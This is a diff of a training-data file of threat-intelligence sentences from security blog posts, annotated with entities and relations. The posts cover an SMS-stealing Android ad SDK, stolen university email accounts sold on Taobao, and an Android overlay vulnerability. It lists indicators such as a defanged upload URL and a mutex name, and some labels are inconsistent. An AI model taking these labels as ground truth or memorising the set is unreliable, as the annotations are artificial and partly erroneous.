diff --git "a/train.jsonl" "b/train.jsonl" --- "a/train.jsonl" +++ "b/train.jsonl" @@ -1,3 +1,1983 @@ +{"id":932,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":933,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":934,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":935,"text":"Mobile app creators are often looking for ways to monetize their software.","entities":[],"relations":[],"Comments":[]} +{"id":936,"text":"One of the most common ways to do this is by displaying advertisements to users or by offering in-app purchases (IAPs).","entities":[],"relations":[],"Comments":[]} +{"id":937,"text":"Mobile monetization platforms create software libraries that authors can embed into their apps to start earning money quickly.","entities":[],"relations":[],"Comments":[]} +{"id":938,"text":"We previously highlighted the dangers of installing apps that enable IAPs using SMS messages, as these apps typically have access to all SMS messages sent to the phone.","entities":[],"relations":[],"Comments":[]} +{"id":939,"text":" While not all SMS-based IAP applications steal user data, we recently identified that the Chinese Taomike SDK has begun capturing copies of all messages received by the phone and sending them to a Taomike controlled server.","entities":[{"id":46449,"label":"location","start_offset":91,"end_offset":98},{"id":44904,"label":"attack-pattern","start_offset":42,"end_offset":57},{"id":44905,"label":"malware","start_offset":99,"end_offset":110},{"id":44907,"label":"Infrastucture","start_offset":198,"end_offset":223}],"relations":[{"id":37,"from_id":44905,"to_id":44907,"type":"exfiltrates-to"},{"id":38,"from_id":44905,"to_id":44907,"type":"communicates-with"},{"id":190,"from_id":44905,"to_id":46449,"type":"located-at"},{"id":191,"from_id":44905,"to_id":44904,"type":"uses"}],"Comments":[]} +{"id":940,"text":"Since August 1, Palo Alto Networks WildFire has captured over 18,000 Android apps that contain this library.","entities":[{"id":46451,"label":"TIME","start_offset":6,"end_offset":14},{"id":46450,"label":"identity","start_offset":16,"end_offset":43},{"id":46452,"label":"SOFTWARE","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]} +{"id":941,"text":"These apps are not hosted inside the Google Play store, but are distributed via third party distribution mechanisms in China.","entities":[{"id":46453,"label":"SOFTWARE","start_offset":37,"end_offset":54},{"id":46454,"label":"location","start_offset":119,"end_offset":124}],"relations":[],"Comments":[]} +{"id":942,"text":"Background WildFire captures many samples of mobile malware that intercept and upload SMS messages.","entities":[{"id":44908,"label":"identity","start_offset":12,"end_offset":20}],"relations":[],"Comments":[]} +{"id":943,"text":"Most of these are created by malware authors who set up command and control (C2) servers with third party hosting providers and frequently update their locations to avoid detection.","entities":[],"relations":[],"Comments":[]} +{"id":944,"text":" Among these malware we have found many that are created by “mobile monetization” companies who distribute apps that provide little value but have a high cost to the user.","entities":[],"relations":[],"Comments":[]} +{"id":945,"text":"These apps are often installed by tricking users into clicking a pop-up, only to find later that a charge has appeared on their phone bill.","entities":[{"id":44909,"label":"attack-pattern","start_offset":34,"end_offset":48}],"relations":[],"Comments":[]} +{"id":946,"text":"Antivirus programs typically identify these apps as malware, the topic of this blog is something different and harder to detect.","entities":[],"relations":[],"Comments":[]} +{"id":947,"text":" Taomike is a Chinese company that aims to become the biggest mobile advertisement solution platform in China.","entities":[{"id":46455,"label":"identity","start_offset":1,"end_offset":8},{"id":46456,"label":"location","start_offset":14,"end_offset":21},{"id":46457,"label":"location","start_offset":104,"end_offset":109}],"relations":[{"id":192,"from_id":46455,"to_id":46456,"type":"located-at"}],"Comments":[]} +{"id":948,"text":"They provide an SDK and services to help developers display rich advertisements with a high pay rate.","entities":[],"relations":[],"Comments":[]} +{"id":949,"text":"Taomike has not previously been associated with malicious activity, but a recent update to their software added SMS theft functionality.","entities":[{"id":46458,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":950,"text":"The apps this library is embedded in may be legitimate and have significant functionality, but their developer’s choice to use this library has put them at risk. Technical Details:","entities":[],"relations":[],"Comments":[]} +{"id":951,"text":"SMS Theft ","entities":[{"id":44910,"label":"attack-pattern","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":952,"text":"Not all apps that use the Taomike library steal SMS messages.","entities":[{"id":46459,"label":"identity","start_offset":26,"end_offset":33},{"id":46460,"label":"attack-pattern","start_offset":42,"end_offset":60}],"relations":[{"id":193,"from_id":46459,"to_id":46460,"type":"uses"}],"Comments":[]} +{"id":953,"text":"Our analysis indicates that only samples that contain the embedded URL, hxxp:\/\/112.126.69.51\/2c.php have this functionality.","entities":[{"id":46461,"label":"URL","start_offset":72,"end_offset":99}],"relations":[],"Comments":[]} +{"id":954,"text":"This is the URL to which the software uploads SMS messages, and the IP address belongs to the Taomike API server used by other Taomike services.","entities":[{"id":46462,"label":"identity","start_offset":127,"end_offset":134},{"id":44911,"label":"Infrastucture","start_offset":94,"end_offset":112}],"relations":[],"Comments":[]} +{"id":955,"text":"We have captured around 63,000 Android apps in WildFire that include the Taomike library but only around 18,000 include the SMS theft functionality.","entities":[{"id":2996,"label":"SOFTWARE","start_offset":47,"end_offset":55},{"id":46463,"label":"identity","start_offset":73,"end_offset":80},{"id":46464,"label":"attack-pattern","start_offset":124,"end_offset":133}],"relations":[],"Comments":[]} +{"id":956,"text":" We believe there are different versions of the Taomike SDK and only some of them include SMS uploading behavior.","entities":[{"id":46465,"label":"identity","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]} +{"id":957,"text":"Based on our data, the version that contains the SMS stealing functions is newer and was released around August 2015.","entities":[{"id":44912,"label":"TIME","start_offset":105,"end_offset":116},{"id":44913,"label":"attack-pattern","start_offset":49,"end_offset":61}],"relations":[],"Comments":[]} +{"id":958,"text":"Apps that use earlier versions of the library appear to be safe.","entities":[],"relations":[],"Comments":[]} +{"id":959,"text":" The Taomike library is called “zdtpay” and is a component of Taomike’s IAP system. Because Android apps are required to list the permissions they need in their manifest file, we can see that this library requires both SMS and network related permissions.","entities":[{"id":46467,"label":"SOFTWARE","start_offset":62,"end_offset":82},{"id":46468,"label":"SOFTWARE","start_offset":93,"end_offset":100},{"id":46466,"label":"identity","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]} +{"id":960,"text":"The library also registers a receiver named com.zdtpay.Rf2b for both the SMS_RECEIVED and BOOT_COMPLETED actions with highest priority of 2147483647.","entities":[],"relations":[],"Comments":[]} +{"id":961,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]} +{"id":962,"text":"Registered receiver for SMS_RECEIVED The registered receiver Rf2b reads SMS messages whenever they arrive.","entities":[],"relations":[],"Comments":[]} +{"id":963,"text":"The message body and sender phone number are collected as shown in Figure 2. Figure 2.","entities":[],"relations":[],"Comments":[]} +{"id":964,"text":"SMS body and sender number read ","entities":[],"relations":[],"Comments":[]} +{"id":965,"text":"If the device has just booted, it will start the service MySd2e, which then registers a receiver for Rf2b as shown in Figure 3.","entities":[],"relations":[],"Comments":[]} +{"id":966,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]} +{"id":967,"text":"MySd2e Service registers receiver for Rf2b ","entities":[],"relations":[],"Comments":[]} +{"id":968,"text":"SMS information collected by the receiver is saved in a hashmap with “other” as the key and sent to a method that uploads the message to 112.126.69.51 as shown in Figure 4.","entities":[{"id":3036,"label":"IPV4","start_offset":137,"end_offset":150}],"relations":[],"Comments":[]} +{"id":969,"text":" Figure 4. Information uploaded to IP Address used by api.taomike.com ","entities":[{"id":44914,"label":"DOMAIN","start_offset":54,"end_offset":69}],"relations":[],"Comments":[]} +{"id":970,"text":"All SMS messages sent to the phone are uploaded, not just those that are relevant to Taomike’s platform.","entities":[{"id":46470,"label":"identity","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]} +{"id":971,"text":"Figure 5 shows a packet capture of a test message upload.","entities":[],"relations":[],"Comments":[]} +{"id":972,"text":"The message content is “hey test msg” as circled with dashed red box.","entities":[],"relations":[],"Comments":[]} +{"id":973,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]} +{"id":974,"text":"SMS uploaded via HTTP in pcap The Taomike library makes contact with the following URLs, but only the “2c.php” path is used to capture SMS messages.","entities":[{"id":3051,"label":"attack-pattern","start_offset":128,"end_offset":148},{"id":46472,"label":"FILEPATH","start_offset":104,"end_offset":110},{"id":46471,"label":"identity","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]} +{"id":975,"text":"The rest appear to be used for other parts of the IAP functionality in the library.","entities":[],"relations":[],"Comments":[]} +{"id":976,"text":"Risks and Mitigation ","entities":[],"relations":[],"Comments":[]} +{"id":977,"text":"We have captured over 18,000 samples that contain the SMS stealing library since August 2015, meaning the number of affected users is considerable.","entities":[{"id":46473,"label":"TIME","start_offset":81,"end_offset":92},{"id":46474,"label":"attack-pattern","start_offset":54,"end_offset":66}],"relations":[],"Comments":[]} +{"id":978,"text":"We expect the number of affected apps and users to increase as more developers incorporate the newer version of Taomike library.","entities":[{"id":46475,"label":"identity","start_offset":112,"end_offset":119}],"relations":[],"Comments":[]} +{"id":979,"text":" The infected apps are not limited to a single developer or third party store as many developers appear use the Taomike library.","entities":[{"id":46476,"label":"identity","start_offset":112,"end_offset":119}],"relations":[],"Comments":[]} +{"id":980,"text":"Some of the infected apps purport to contain or display adult content.","entities":[],"relations":[],"Comments":[]} +{"id":981,"text":" We do not know how Taomike is using the stolen SMS messages, but no library should capture all messages and send them to a system outside the phone.","entities":[{"id":46477,"label":"identity","start_offset":20,"end_offset":27}],"relations":[],"Comments":[]} +{"id":982,"text":"In version 4.4 of Android (KitKat) Google began preventing apps from capturing SMS messages unless they were defined as the “default” SMS app.","entities":[{"id":46479,"label":"identity","start_offset":35,"end_offset":41},{"id":46478,"label":"SOFTWARE","start_offset":18,"end_offset":34}],"relations":[],"Comments":[]} +{"id":983,"text":" Users outside of China and those that only download apps from the official Google Play store are not at risk from this threat. ","entities":[{"id":46480,"label":"SOFTWARE","start_offset":76,"end_offset":87},{"id":46481,"label":"location","start_offset":18,"end_offset":23}],"relations":[],"Comments":[]} +{"id":984,"text":"To protect Palo Alto Networks customers from the Taomike SMS stealer, we’ve made the following protections available:","entities":[{"id":44915,"label":"identity","start_offset":11,"end_offset":29},{"id":44916,"label":"malware","start_offset":49,"end_offset":68}],"relations":[],"Comments":[]} +{"id":985,"text":" Conclusion Even popular third party monetization platforms are not always trustworthy.","entities":[],"relations":[],"Comments":[]} +{"id":986,"text":"When developers incorporate the libraries into their apps they need to carefully test them and monitor for any abnormal activities.","entities":[],"relations":[],"Comments":[]} +{"id":987,"text":"Identifying monetization and advertising platforms that behave poorly and abuse their users is something that our industry must to do ensure the safety of all mobile devices and their users.","entities":[],"relations":[],"Comments":[]} +{"id":988,"text":" Acknowledgement We greatly appreciate the help from Rongbo Shao from Palo Alto Networks in working on the Threat Prevention signature.","entities":[{"id":46482,"label":"identity","start_offset":71,"end_offset":89},{"id":46483,"label":"identity","start_offset":54,"end_offset":65}],"relations":[],"Comments":[]} +{"id":989,"text":"We would also like to thank Ryan Olson, Benjamin Small, Richar Wartell, and Chris Clark from Palo Alto networks in publishing the discovery.","entities":[{"id":46484,"label":"identity","start_offset":28,"end_offset":38},{"id":46485,"label":"identity","start_offset":40,"end_offset":54},{"id":46486,"label":"identity","start_offset":56,"end_offset":70},{"id":46487,"label":"identity","start_offset":76,"end_offset":87},{"id":46488,"label":"identity","start_offset":93,"end_offset":111}],"relations":[],"Comments":[]} +{"id":990,"text":" Related Sample Hash Values Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":991,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":992,"text":"Recently, we found email accounts from top universities across the world being sold on Taobao, the largest consumer-to-consumer (C2C) e-commerce platform in China.","entities":[{"id":46489,"label":"SOFTWARE","start_offset":87,"end_offset":93},{"id":46490,"label":"location","start_offset":157,"end_offset":162}],"relations":[{"id":194,"from_id":46489,"to_id":46490,"type":"located-at"}],"Comments":[]} +{"id":993,"text":"Advertised uses for these accounts included registering for special accounts under software developer programs, receiving student discounts or coupons from retailers, and obtaining access to academic databases.","entities":[],"relations":[],"Comments":[]} +{"id":994,"text":" This post describes the scope, associated risks, and implications of this activity.","entities":[],"relations":[],"Comments":[]} +{"id":995,"text":" Our investigation began with a Chinese language search for \"edu mailbox\" in Taobao, which returned 99 results related to stolen university email accounts.","entities":[{"id":46491,"label":"SOFTWARE","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]} +{"id":996,"text":"The most expensive account was listed at ¥2400 RMB ($390.80 USD), while the cheapest was only ¥0.98 RMB ($0.16 USD). Figure 1: Results for Chinese language \"edu mailbox\" search on Taobao.","entities":[{"id":46492,"label":"SOFTWARE","start_offset":181,"end_offset":187}],"relations":[],"Comments":[]} +{"id":997,"text":" These accounts, which include an education (EDU) top-level domain email address with valid password, represent 42 of the world’s top universities, across 10 countries: ","entities":[],"relations":[],"Comments":[]} +{"id":999,"text":"The descriptions for these items proposed three main uses for buyers: ","entities":[],"relations":[],"Comments":[]} +{"id":1000,"text":"1. Registering for special accounts under software developer programs:","entities":[],"relations":[],"Comments":[]} +{"id":1001,"text":"For example, the most popular account type, which has been bought at least 569 times, was advertised as a Microsoft’s student Windows Phone 7 and 8 developer account.","entities":[{"id":46504,"label":"identity","start_offset":106,"end_offset":116}],"relations":[],"Comments":[]} +{"id":1002,"text":"By using this kind of account, a user can perform a developer unlock on their Windows Phone devices without incurring a fee.","entities":[],"relations":[],"Comments":[]} +{"id":1003,"text":"Most reviews of this package were favorable, with comments like \"very good to use\" or \"with seller’s help I can unlock my phone now.\"","entities":[],"relations":[],"Comments":[]} +{"id":1004,"text":" Figure 2: The most popular account type has sold at least 569 times.","entities":[],"relations":[],"Comments":[]} +{"id":1005,"text":"2. Receiving student discounts or coupons from retailers:","entities":[],"relations":[],"Comments":[]} +{"id":1006,"text":"Some accounts advertised candidacy towards registration for student discount at retailers such as Amazon, BestBuy, Apple, and Dell.","entities":[{"id":46508,"label":"identity","start_offset":126,"end_offset":130},{"id":46507,"label":"identity","start_offset":115,"end_offset":120},{"id":46505,"label":"identity","start_offset":98,"end_offset":104},{"id":46506,"label":"identity","start_offset":106,"end_offset":113}],"relations":[],"Comments":[]} +{"id":1007,"text":"For example, the standard annual fee for Amazon Prime is $99 USD; however, with the student discount, a buyer could enjoy it for free the first six months and then renew at half price for subsequent years.","entities":[{"id":46509,"label":"identity","start_offset":41,"end_offset":53}],"relations":[],"Comments":[]} +{"id":1008,"text":"Figure 3: The seller showed how to register for student discount accounts.","entities":[],"relations":[],"Comments":[]} +{"id":1009,"text":"3. Obtaining access to academic databases:","entities":[],"relations":[],"Comments":[]} +{"id":1010,"text":"Accounts for big universities (e.g., MIT, Stanford, etc.) are mainly used to access respective library services and resources, \"including research help, study spaces, print and electronic books\/journals and more.\"","entities":[{"id":46511,"label":"identity","start_offset":42,"end_offset":50},{"id":46510,"label":"identity","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]} +{"id":1011,"text":"Figure 4:","entities":[],"relations":[],"Comments":[]} +{"id":1012,"text":"A seller advertises how an MIT account can be used to access online library resources.","entities":[{"id":46512,"label":"identity","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} +{"id":1013,"text":" We talked with some sellers through AliWangWang, an instant message (IM) system developed by Taobao for online trading.","entities":[{"id":46513,"label":"SOFTWARE","start_offset":37,"end_offset":48},{"id":46514,"label":"identity","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]} +{"id":1014,"text":"A well-stocked seller told us that every account he sold belonged to an active student at the respective university.","entities":[],"relations":[],"Comments":[]} +{"id":1015,"text":"He claimed that once the account was sold, only the one buyer and the legitimate user would have access.","entities":[],"relations":[],"Comments":[]} +{"id":1016,"text":"He recommended not changing the account password to avoid detection by the legitimate user.","entities":[],"relations":[],"Comments":[]} +{"id":1017,"text":"Another seller offered to provide real identity information for a stolen account so the buyer could change the corresponding password and security questions.","entities":[],"relations":[],"Comments":[]} +{"id":1018,"text":"This type of account access was the most expensive and least flexible in terms of customization (i.e., username, institution, etc.).","entities":[],"relations":[],"Comments":[]} +{"id":1019,"text":"Additionally, it should be noted that there is value beyond the EDU account itself for password and security question information, in the event they are shared across other online accounts for the legitimate user.","entities":[],"relations":[],"Comments":[]} +{"id":1020,"text":" Other sellers were also able to offer customizable email accounts from a specific domain\/institution.","entities":[],"relations":[],"Comments":[]} +{"id":1021,"text":"Figure 5: A seller advertising a customizable “xxx.edu” email account.","entities":[],"relations":[],"Comments":[]} +{"id":1022,"text":"In the above advertisement, the seller describes the ability to choose an account under a subdomain (academia, student, me, email, or contact) of the requested domain.","entities":[],"relations":[],"Comments":[]} +{"id":1023,"text":"The price for this custom account was only ¥27 RMB ($4.40 USD); for an extra ¥13 RMB ($2.12 USD), the buyer can request a custom username at any subdomain for the given institution.","entities":[],"relations":[],"Comments":[]} +{"id":1024,"text":" To further assess this threat, we purchased a customized, new account from a seller on Taobao.","entities":[{"id":46515,"label":"SOFTWARE","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]} +{"id":1025,"text":"Four hours later, we received confirmation that the custom email address \"claud@student.cnri.edu\" was active.","entities":[{"id":3215,"label":"TIME","start_offset":0,"end_offset":16},{"id":46516,"label":"EMAIL","start_offset":74,"end_offset":96}],"relations":[],"Comments":[]} +{"id":1026,"text":"Navigating to CNRI’s webmail page, we were then able to successfully access and send an email from that account.","entities":[{"id":46517,"label":"identity","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1027,"text":" Figure 6: Sending an email through a newly bought customized EDU account.","entities":[],"relations":[],"Comments":[]} +{"id":1028,"text":" Another noteworthy trend we observed was that some sellers provided email addresses with customizable usernames at \"californiacolleges.edu\".","entities":[{"id":46518,"label":"DOMAIN","start_offset":117,"end_offset":139}],"relations":[],"Comments":[]} +{"id":1029,"text":"In fact, anyone can do the same by visiting the California Colleges Create an Account page.","entities":[{"id":44918,"label":"identity","start_offset":48,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1030,"text":"Accounts made through this site \"can be used to apply [for] related memberships of Amazon Prime, Microsoft Developer, Adobe and Apple by some secret ways,\" one seller said.","entities":[{"id":46519,"label":"identity","start_offset":83,"end_offset":95},{"id":46522,"label":"identity","start_offset":128,"end_offset":133},{"id":46520,"label":"identity","start_offset":97,"end_offset":106},{"id":46521,"label":"identity","start_offset":118,"end_offset":123}],"relations":[],"Comments":[]} +{"id":1031,"text":" Figure 7: Using a newly created California Colleges account.","entities":[{"id":46523,"label":"identity","start_offset":33,"end_offset":52}],"relations":[],"Comments":[]} +{"id":1032,"text":"As with most criminal enterprises, not all sellers on Taobao use their real identity, presenting a challenge in tracking down the individuals behind this activity.","entities":[{"id":46524,"label":"SOFTWARE","start_offset":54,"end_offset":60}],"relations":[],"Comments":[]} +{"id":1033,"text":"In order to sell anything on Taobao, a seller must at least create a valid Alipay account (similar to PayPal) linked to a valid Chinese citizen ID number (similar to a U.S. Social Security number), and then associate it with a valid Chinese bank account under the same citizen ID.","entities":[{"id":46526,"label":"SOFTWARE","start_offset":75,"end_offset":81},{"id":46525,"label":"SOFTWARE","start_offset":29,"end_offset":35},{"id":46527,"label":"SOFTWARE","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]} +{"id":1034,"text":"However, identity theft is a global concern and the Chinese citizen ID is no exception, allowing for potential sellers to simply purchase a usable identity online.","entities":[{"id":46528,"label":"attack-pattern","start_offset":8,"end_offset":23}],"relations":[],"Comments":[]} +{"id":1035,"text":" Based on our investigation, we believe that stolen accounts for these universities are actively selling on Taobao.","entities":[{"id":44920,"label":"SOFTWARE","start_offset":108,"end_offset":114},{"id":44921,"label":"attack-pattern","start_offset":45,"end_offset":60}],"relations":[{"id":195,"from_id":44921,"to_id":44920,"type":"related-to"}],"Comments":[]} +{"id":1036,"text":"On August 27, we reported our findings to Taobao.","entities":[{"id":46529,"label":"TIME","start_offset":3,"end_offset":12},{"id":46530,"label":"SOFTWARE","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]} +{"id":1037,"text":"Their response was that they were addressing this issue and have already removed a number of these items, with the remainder requiring further investigation.","entities":[],"relations":[],"Comments":[]} +{"id":1038,"text":"However, this malicious seller activity may also reveal a larger scale problem within university systems.","entities":[],"relations":[],"Comments":[]} +{"id":1039,"text":"Through the types of accounts advertised on Taobao, an attacker can steal a student or staff account, assume their identity, and gain unauthorized access to standard university resources.","entities":[{"id":46531,"label":"SOFTWARE","start_offset":43,"end_offset":50}],"relations":[],"Comments":[]} +{"id":1040,"text":"More sophisticated and nefarious uses include leveraging accounts in social engineering\/phishing attacks or exploiting access to high-value university systems (e.g., personnel, financial, research) to steal information.","entities":[{"id":46533,"label":"attack-pattern","start_offset":88,"end_offset":104},{"id":46534,"label":"attack-pattern","start_offset":69,"end_offset":87},{"id":46535,"label":"attack-pattern","start_offset":108,"end_offset":125},{"id":46536,"label":"attack-pattern","start_offset":201,"end_offset":218}],"relations":[],"Comments":[]} +{"id":1041,"text":"Fortunately, a number of the institutions impacted by this activity have already implemented two-factor authentication for high-value resources, reducing the risk of the latter.","entities":[],"relations":[],"Comments":[]} +{"id":1042,"text":"Yet, we believe the residual risk and exposure call for further action.","entities":[],"relations":[],"Comments":[]} +{"id":1043,"text":" The following are our suggestions for discovering and mitigating risks associated with this activity: Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1044,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1045,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1046,"text":"This post is also available in: 日本語 (Japanese) Today, Palo Alto Networks Unit 42 researchers are announcing details on a new high- severity vulnerability affecting the Google Android platform.","entities":[{"id":46537,"label":"identity","start_offset":60,"end_offset":98},{"id":46538,"label":"SOFTWARE","start_offset":174,"end_offset":197}],"relations":[],"Comments":[]} +{"id":1047,"text":"Patches for this vulnerability are available as part of the September 2017 Android Security Bulletin.","entities":[{"id":44922,"label":"TIME","start_offset":60,"end_offset":74},{"id":44923,"label":"SOFTWARE","start_offset":75,"end_offset":83}],"relations":[],"Comments":[]} +{"id":1048,"text":"This new vulnerability does NOT affect Android 8.0 Oreo, the latest version; but it does affect all prior versions of Android.","entities":[{"id":46539,"label":"SOFTWARE","start_offset":39,"end_offset":55},{"id":46540,"label":"SOFTWARE","start_offset":118,"end_offset":124}],"relations":[],"Comments":[]} +{"id":1049,"text":"There is some malware that exploits some vectors outlined in this article, but Palo Alto Networks Unit 42 is not aware of any active attacks against this particular vulnerability at this time.","entities":[{"id":46541,"label":"identity","start_offset":79,"end_offset":105}],"relations":[],"Comments":[]} +{"id":1050,"text":"Since Android 8.0 is a relatively recent release, this means that nearly all Android users should take action today and apply updates that are available to address this vulnerability.","entities":[{"id":44924,"label":"SOFTWARE","start_offset":6,"end_offset":17},{"id":44925,"label":"SOFTWARE","start_offset":77,"end_offset":84}],"relations":[],"Comments":[]} +{"id":1051,"text":" What our researchers have found is a vulnerability that can be used to more easily enable an “overlay attack,” a type of attack that is already known on the Android platform.","entities":[{"id":46543,"label":"SOFTWARE","start_offset":158,"end_offset":165}],"relations":[],"Comments":[]} +{"id":1052,"text":"This type of attack is most likely to be used to get malicious software on the user’s Android device.","entities":[{"id":46544,"label":"SOFTWARE","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]} +{"id":1053,"text":"This type of attack can also be used to give malicious software total control over the device.","entities":[],"relations":[],"Comments":[]} +{"id":1054,"text":"In a worst-case attack scenario, this vulnerability could be used to render the phone unusable (i.e., a “brick”) or to install any kind of malware including (but not limited to) ransomware or information stealers.","entities":[],"relations":[],"Comments":[]} +{"id":1055,"text":"In simplest terms, this vulnerability could be used to take control of devices, lock devices and steal information after it is attacked.","entities":[{"id":46545,"label":"attack-pattern","start_offset":55,"end_offset":78},{"id":46547,"label":"attack-pattern","start_offset":80,"end_offset":92},{"id":46546,"label":"attack-pattern","start_offset":97,"end_offset":114}],"relations":[],"Comments":[]} +{"id":1056,"text":"An “overlay attack” is an attack where an attacker’s app draws a window over (or “overlays”) other windows and apps running on the device.","entities":[{"id":44926,"label":"attack-pattern","start_offset":4,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1057,"text":"When done successfully, this can enable an attacker to convince the user he or she is clicking one window when, in fact, he or she is actually clicking another window.","entities":[],"relations":[],"Comments":[]} +{"id":1058,"text":"In Figure 1, you can see an example where an attacker is making it appear that the user is clicking to install a patch when in fact the user is clicking to grant the Porn Droid malware full administrator permissions on the device.","entities":[{"id":46548,"label":"malware","start_offset":166,"end_offset":176}],"relations":[],"Comments":[]} +{"id":1059,"text":"Figure 1: Bogus patch installer overlying malware requesting administrative permissions ","entities":[],"relations":[],"Comments":[]} +{"id":1060,"text":"You can see how this attack can be used convince users to unwittingly install malware on the device.","entities":[],"relations":[],"Comments":[]} +{"id":1061,"text":"This can also be used to grant the malware full administrative privileges on the device.","entities":[],"relations":[],"Comments":[]} +{"id":1062,"text":" An overlay attack can also be used to create a denial-of-service condition on the device by raising windows on the device that don’t go away.","entities":[{"id":44927,"label":"attack-pattern","start_offset":48,"end_offset":65}],"relations":[],"Comments":[]} +{"id":1063,"text":"This is precisely the type of approach attackers use with ransomware attacks on mobile devices.","entities":[],"relations":[],"Comments":[]} +{"id":1064,"text":" Of course, an overlay attack can be used to accomplish all three of these in a single attack: Overlay attacks aren’t new; they’ve been discussed before.","entities":[],"relations":[],"Comments":[]} +{"id":1065,"text":"But until now, based on the latest research in the IEEE Security & Privacy paper, everyone has believed that malicious apps attempting to carry out overlay attacks must overcome two significant hurdles to be successful: These are significant mitigating factors and so overlay attacks haven’t been reckoned a serious threat.","entities":[{"id":46549,"label":"identity","start_offset":51,"end_offset":55},{"id":44929,"label":"attack-pattern","start_offset":269,"end_offset":284},{"id":44930,"label":"attack-pattern","start_offset":148,"end_offset":163}],"relations":[],"Comments":[]} +{"id":1066,"text":" However, our new Unit 42 research shows that there is a way to carry out overlay attacks where these mitigating factors don’t apply.","entities":[{"id":46550,"label":"identity","start_offset":18,"end_offset":25}],"relations":[],"Comments":[]} +{"id":1067,"text":"If a malicious app were to utilize this new vulnerability, our researchers have found it could carry out an overlay attack simply by being installed on the device.","entities":[{"id":46551,"label":"attack-pattern","start_offset":108,"end_offset":122}],"relations":[],"Comments":[]} +{"id":1068,"text":"In particular, this means that malicious apps from websites and app stores other than Google Play can carry out overlay attacks.","entities":[{"id":46552,"label":"SOFTWARE","start_offset":86,"end_offset":98}],"relations":[],"Comments":[]} +{"id":1069,"text":"It’s important to note that apps from websites and app stores other than Google Play form a significant source of Android malware worldwide.","entities":[{"id":46553,"label":"SOFTWARE","start_offset":114,"end_offset":121},{"id":46554,"label":"SOFTWARE","start_offset":73,"end_offset":84}],"relations":[],"Comments":[]} +{"id":1070,"text":" The particular vulnerability in question affects an Android feature known as “Toast.” “Toast” is a type of notification window that “pops” (like toast) on the screen.","entities":[{"id":46555,"label":"SOFTWARE","start_offset":53,"end_offset":60}],"relations":[],"Comments":[]} +{"id":1071,"text":"“Toast” is typically used to display messages and notifications over other apps.","entities":[],"relations":[],"Comments":[]} +{"id":1072,"text":" Unlike other window types in Android, Toast doesn’t require the same permissions, and so the mitigating factors that applied to previous overlay attacks don’t apply here.","entities":[{"id":46556,"label":"SOFTWARE","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]} +{"id":1073,"text":"Additionally, our researchers have outlined how it’s possible to create a Toast window that overlays the entire screen, so it’s possible to use Toast to create the functional equivalent of regular app windows.","entities":[],"relations":[],"Comments":[]} +{"id":1074,"text":" In light of this latest research, the risk of overlay attacks takes on a greater significance.","entities":[],"relations":[],"Comments":[]} +{"id":1075,"text":"Fortunately, the latest version of Android is immune from these attacks “out of the box.”","entities":[{"id":46557,"label":"SOFTWARE","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]} +{"id":1076,"text":"However, most people who run Android run versions that are vulnerable.","entities":[{"id":46559,"label":"SOFTWARE","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]} +{"id":1077,"text":"This means that it’s critical for all Android users on versions before 8.0 to get updates for their devices.","entities":[{"id":46560,"label":"SOFTWARE","start_offset":38,"end_offset":45}],"relations":[],"Comments":[]} +{"id":1078,"text":"You can get information on patch and update availability from your mobile carrier or handset maker.","entities":[],"relations":[],"Comments":[]} +{"id":1079,"text":" Of course, one of the best protections against malicious apps is to get your Android apps only from Google Play, as the Android Security Team aggressively screens against malicious apps and keeps them out of the store in the first place.","entities":[{"id":46562,"label":"SOFTWARE","start_offset":101,"end_offset":112},{"id":46561,"label":"SOFTWARE","start_offset":78,"end_offset":85},{"id":46563,"label":"identity","start_offset":121,"end_offset":142}],"relations":[],"Comments":[]} +{"id":1080,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! ","entities":[],"relations":[],"Comments":[]} +{"id":1081,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1082,"text":"Mutex analysis is an often overlooked and useful tool for malware author fingerprinting, family classification, and even discovery.","entities":[],"relations":[],"Comments":[]} +{"id":1083,"text":"Far from the hypothesized \"huge amount of variability\" in mutex names, likely hypothesized due to the seemingly random appearance of them, practical mutex usage is embarrassingly consistent.","entities":[],"relations":[],"Comments":[]} +{"id":1084,"text":"In fact, over 15% of all collected worms share a single mutex [2gvwnqjz].","entities":[],"relations":[],"Comments":[]} +{"id":1085,"text":" This blog was sourced from the data generated by the WildFire Analytics cloud, which processes thousands of samples a day and provides insights into various characteristics and behaviors of 